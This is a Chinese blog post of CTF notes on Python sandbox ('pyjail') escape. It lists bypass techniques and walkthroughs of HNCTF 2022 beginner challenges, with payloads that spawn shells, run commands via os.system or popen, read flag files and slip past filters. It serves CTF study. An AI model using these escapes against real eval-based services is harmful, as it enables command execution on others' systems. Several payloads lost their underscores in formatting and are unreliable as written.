首页 > 编程语言 >Python沙箱逃逸(pyjail)

Python沙箱逃逸(pyjail)

时间:2024-10-21 22:37:06浏览次数:1  
标签:__ Python import print eval pyjail 沙箱 input ___

参考链接:
https://note.tonycrane.cc/ctf/misc/escapes/pysandbox/
https://ctf-wiki.org/pwn/sandbox/python/python-sandbox-escape/
https://www.cnblogs.com/mumuhhh/p/17811377.html
https://www.bilibili.com/video/av1506392148/
https://dummykitty.github.io/python/2023/05/29/python-沙箱逃逸原理.html

来自CTFWiki的解释:所谓沙箱逃逸就是绕过模拟的python终端,最终实现命令执行

Python特性,魔术方法及魔术属性

Python所有的类均继承自object基类,python中的一切都是对象特性,带有继承的特性更多

魔术方法 魔术属性
init 对象初始化方法,在创建对象时调用
repr 返回对象的"官方"字符串表达式
str 返回对象的"非正式"或友好字符串表达式
len 返回对象长度
getitem 获取对象指定键的值
setitem 设置对象指定键的值
delitiem 删除对象指定键的值
iter 返回一个迭代器对象
contains 检查对象是否包含指定元素
call 实例对象作为函数调用时调用
base 返回当前类的基类,如str.__base__会返回<class 'object'>
subclasses() 查看当前子类组成列表
builtins 以一个集合形式查看其引用
getattr,setattr,delattr 处理对象属性获取,设置和删除
enter,exit 定义在使用with语句时对象上下文管理行为
globals 返回所有全局变量的函数
locals 返回所有局部变量的函数
import 载入模块的函数,例如import os等价于os=import('os')
file 该变量指示当前运行代码所在路径
_ 该变量返回上一次运行python语句结果,注意:该变量仅在运行交互式终端时产生,在运行代码文件时不会有此变量
chr,ord 字符与ASCII码转换函数
dir 查看对象属性和方法
doc 类的帮助文档,默认类均有帮助文档,对于自定义类,需要自己实现

Pyjail基础解法,payload构造

Python导入模块的三种方法:

  1. import xxx
  2. from xxx import
  3. import('xxx')
    附加:路径引用,例如:import sys->sys.modules['os']='/user/lib/python2.7/os.py->import os

基础payload

print(open('/flag').read())
__import__('os').system('cat flag')
__import__('os').system('sh')
#读文件
().__class__.__bases__[0].__subclasses__()[40]('\etc\password').read()
#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input','w').write('')
#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()')

eval和evec

eval(expression[, globals[, locals]])
exec(expression[, globals[, locals]])
'''
用法基本相似,
expression执行表达式,
globals全局变量(必须字典),
locals局部变量(任意mapping object,一般是字典)
不同点:
eval将表达式计算出来,结果返回,不会影响当前环境
exec将表达式作为py语句运行,可以进行赋值等操作(题目中不常见)
'''

使globals,locals为空字典访问不到全局变量和局部变量,从而构造沙箱
ast.literal_eval更加的安全,因此题目碰到这个基本就不是沙箱逃逸了

Pyjail绕过方法

基于长度限制的绕过

  1. help
    输入help(),这里字符串长度6会进入正常调用eval函数,在help交互式下,输入任意模块名称得该模块的帮助文档,如sys,在Linux中,呈现帮助文档时,实际调用系统的less或more命令,利用这两个命令执行本地命令特性获取shell,继续按#!,执行外部命令sh即可(!ls,!cat flag)
  2. breakpoint()
    该函数在程序执行任何位置调用,当程序执行到这个位置时,它将暂停并打开交互式调试器
    list input_data = import('os').system('sh')
  3. 多次交互进行拼接
    "_"函数字符拼接
    '00'
    _+' aaa'
    +' bbb'
    eval(
    )

基于字符串匹配过滤的绕过

所有数字被禁用

  1. 函数返回
    0:int(bool([])),Flase,len([]),any(())
    1:int(bool([""])),True,all(()),int(list(dict(aɔ=())).pop()).pop())
  2. 字符串取整
    len(repr(True)),len(repr(bytearray))
  3. len+dict+list
    0->len([])
    2->len(list(dict(aa=()))[len([])])
    3->len(list(dict(aaa=()))[len([])])
    属性名,过滤class,import等
  4. getattr函数:获取对象属性和方法
  5. __getattribute__函数
  6. __getattr__函数
  7. __globals__替换
  8. mro,bases,__base__互换

基于多行限制的绕过

  1. exec
    eval("exec('import("os")\nprint(1)')")
  2. compile
    eval('''eval(compile('print("hello world");print("heyy")','','exec'))''')
  3. 海象表达式
    eval('[a:=import("os"),b:=a.system("id")]')

基于模块删除绕过

基于继承链获取
所有类的基类都是object
查看变量所属的类(().class)
根据变量的类得到其所属的类(().class.bases)
反查object类的子类组成列表(().class.bases[0].subclasses())
(().class.base.subclasses())
获取当前Python环境中所有对象的子类列表
[].class.base.subclasses()[40]获得第40个子类

python2与python3差异
python2中file类可以直接用来读取文件
[].class.bases[0].subclasses()40.read()
python3中file类已经没有了,用<class'_frozen_importlib_external.FileLoader'>读取文件
{{().class.bases[0].subclasses()[79]"get_data"}}
{{().class.bases[0].subclasses()79.communicate()[0]}}

内建函数eval函数执行命令
{{".class.bases[0].subclasses()[166].init.globals__['builtins']'eval'}}
几个含有eval函数的类:
warings.catch_warnings
WaringMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize

unicode绕过

Python3开始支持非ASCII字符的标识符,也就是说,可以使用Unicode字符作为Python变量名,函数名等。python在解析代码时,可以使用Unicode Normalization From KC(NTKC)规范化算法,将一些视觉上相似的Unicode字符统一为一个标准化

input

python2中,input函数从标准输入接收输入并自动eval求值,返回所求值;raw_input函数从标准输入接收输入,返回输入字符串
python3中,input函数从标准输入接收输入返回输入字符串
python2 input() = python2 eval(raw_input()) = python3 eval(input())
对于python2的input,相当于存在命令执行,可以rce

获取全局变量的方法

函数利用:vars(),globals()
help():进入help,查__main__

例题

[HNCTF 2022 Week1]calc_jail_beginner(JAIL)

#Your goal is to read ./flag.txt
#You can use these payload liked `__import__('os').system('cat ./flag.txt')` or `print(open('/flag.txt').read())`

WELCOME = '''
  _     ______      _                              _       _ _ 
 | |   |  ____|    (_)                            | |     (_) |
 | |__ | |__   __ _ _ _ __  _ __   ___ _ __       | | __ _ _| |
 | '_ \|  __| / _` | | '_ \| '_ \ / _ \ '__|  _   | |/ _` | | |
 | |_) | |___| (_| | | | | | | | |  __/ |    | |__| | (_| | | |
 |_.__/|______\__, |_|_| |_|_| |_|\___|_|     \____/ \__,_|_|_|
               __/ |                                           
              |___/                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
print('Answer: {}'.format(eval(input_data)))

签到,open('flag').read()

[HNCTF 2022 Week1]calc_jail_beginner_level1(JAIL)

#the function of filter will banned some string ',",i,b
#it seems banned some payload 
#Can u escape it?Good luck!

def filter(s):
    not_allowed = set('"\'`ib')
    return any(c in not_allowed for c in s)

WELCOME = '''
  _                _                           _       _ _   _                _ __ 
 | |              (_)                         (_)     (_) | | |              | /_ |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| || |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ || |
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ || |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_|
              __/ |                          _/ |                                  
             |___/                          |__/                                                                                      
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))

过滤部分符号,之前有讲过字符串匹配,运用chr方法拼接,open(chr(102)+chr(108)+chr(97)+chr(103)).read()

[HNCTF 2022 Week1]calc_jail_beginner_level2(JAIL)

#the length is be limited less than 13
#it seems banned some payload 
#Can u escape it?Good luck!

WELCOME = '''
  _                _                           _       _ _   _                _ ___  
 | |              (_)                         (_)     (_) | | |              | |__ \ 
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| |  ) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | / / 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |/ /_ 
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|____|
              __/ |                          _/ |                                    
             |___/                          |__/                                                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>13:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))

限制输入长度小于等于13,直接使用eval方法逃逸,eval(input())进入交互状态,open('flag').read()

[HNCTF 2022 Week1]calc_jail_beginner_level3(JAIL)

#!/usr/bin/env python3
WELCOME = '''
  _                _                           _       _ _   _                _ ____  
 | |              (_)                         (_)     (_) | | |              | |___ \ 
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | __) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ ||__ < 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|____/ 
              __/ |                          _/ |                                     
             |___/                          |__/                                                                                       
'''

print(WELCOME)
#the length is be limited less than 7
#it seems banned some payload 
#Can u escape it?Good luck!
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>7:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))

依旧是限制输入长度,这次限制更高要小于等于7,想到之前讲到的help()方法,赶紧试一下

[HNCTF 2022 Week1]calc_jail_beginner_level2.5(JAIL)

#the length is be limited less than 13
#it seems banned some payload 
#banned some unintend sol
#Can u escape it?Good luck!

def filter(s):
    BLACKLIST = ["exec","input","eval"]
    for i in BLACKLIST:
        if i in s:
            print(f'{i!r} has been banned for security reasons')
            exit(0)

WELCOME = '''
  _                _                           _       _ _ _                _ ___    _____ 
 | |              (_)                         (_)     (_) | |              | |__ \  | ____|
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| |  ) | | |__  
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ | / /  |___ \ 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\ V /  __/ |/ /_ _ ___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____(_)____/ 
              __/ |                          _/ |                                          
             |___/                          |__/                                                                                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
filter(input_data)
if len(input_data)>13:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))

禁用"exec","input","eval"并且输入限制小于等于13,使用help()方法发现在进入!阶段会出现错误,想想我们还有unicode方法
这里粘贴一个unicode脚本:

from unicodedata import normalize
from string import ascii_lowercase
from collections import defaultdict

lst = list(ascii_lowercase)
dic = defaultdict(list)
for char in lst:
    for i in range(0x110000):
        if normalize("NFKC", chr(i)) == char:
            dic[char].append(chr(i))
        if len(dic[char]) > 9:
            break
print(dic)

标签:__,Python,import,print,eval,pyjail,沙箱,input,___
From: https://www.cnblogs.com/N1ng/p/18491520

相关文章

  • Python pickle
    Pythonpicklepickle在python中实现对象结构的序列化和反序列化python序列化(Pickling)是一个将python对象层次结构转换为可以本地储存或者网络传输的字节流的过程python反序列化(unpickling)是将字节流还原为对象层次结构数据序列化:就是把不能直接储存的数据储存到......
  • Python+Django智慧农场管理系统
    收藏关注不迷路!!需要的小伙伴可以发链接或者截图给我项目介绍互联网日益成熟,走进千家万户,改变多个行业传统的工作方式。智慧农场管理以用户需求为基础,借由发展迅猛的互联网平台实现智慧农场管理的信息化,简化旧时智慧农场管理所需的纸质记录这一繁杂过程,从而大幅提高智慧农......
  • Python+Django智慧养老系统-养老信息服务平台
    收藏关注不迷路!!需要的小伙伴可以发链接或者截图给我项目介绍伴随着我国社会的发展,人民生活质量日益提高。互联网逐步进入千家万户,改变传统的管理方式,智慧养老系统-养老信息服务平台以互联网为基础,利用Python技术,结合Django框架和MySQL数据库开发设计一套基于B/S的智慧养老......
  • Python+Django学生宿舍卫生检查奖惩管理系统
    收藏关注不迷路!!需要的小伙伴可以发链接或者截图给我项目介绍在当今高等教育日益普及的背景下,学生宿舍作为学生学习与生活的重要场所,其管理效率与服务质量直接影响到学生的日常体验与校园和谐。随着学生数量的不断增长,传统的人工管理方式逐渐显露出效率低下、信息更新滞后......
  • Python+django农产品销售商城系统
    收藏关注不迷路!!需要的小伙伴可以发链接或者截图给我项目介绍在当今社会,随着互联网的普及和电子商务的迅猛发展,传统农产品销售模式正面临着前所未有的挑战与机遇。传统的农产品销售往往依赖于中间商,导致价格不透明、流通环节多、成本高企,同时农民与消费者之间的信息不对称......
  • python安装ta-lib失败
    python安装ta-lib失败,有可能会报错Requirementalreadysatisfied:numpyinc:\users\viruser.v-desktop\.virtualenvs\stockstudy-jtfklg50\lib\site-packages(fromta-lib)(1.24.2)Buildingwheelsforcollectedpackages:ta-libBuildingwheelforta-lib(pyproje......
  • python+flask计算机毕业设计高校实验室安全应急管理系统(程序+开题+论文)
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容一、选题背景关于高校实验室安全应急管理系统的研究,现有研究多侧重于实验室安全管理的常规方面,如设备管理、人员管理等。专门针对高校实验室安全应......
  • python+flask计算机毕业设计高校实验室管理系统(程序+开题+论文)
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容一、选题背景关于高校实验室管理的研究,现有研究主要集中在设备管理或人员管理等单一模块为主1(山东大学实验耗材管理服务系统)。专门针对涵盖学生......
  • 基于深度学习CNN算法的花卉分类识别系统01-python-带UI-包配置
    项目基本介绍:【算法】深度学习CNN网络mobilenet算法网络【环境】python>=3.8pytorchopencvpyqt5matplotlib(含详细环境配置教程视频)【文件】训练、预测全部源代码、训练好的模型、数据集、模型评价指标:训练acc/loss曲线图和混淆矩阵图、U1界面源码及源文件、环境配置......
  • python如何创建类
    python里,类是面向对象的基础。第一种创建类的方法:class关键字#第一种方法创建类class A(object):     def __init__(self, name):        self.name = name f = A("lkk")这样就简单完成了一个A类的创建,我们尝试打印一下f的类型:print(type(......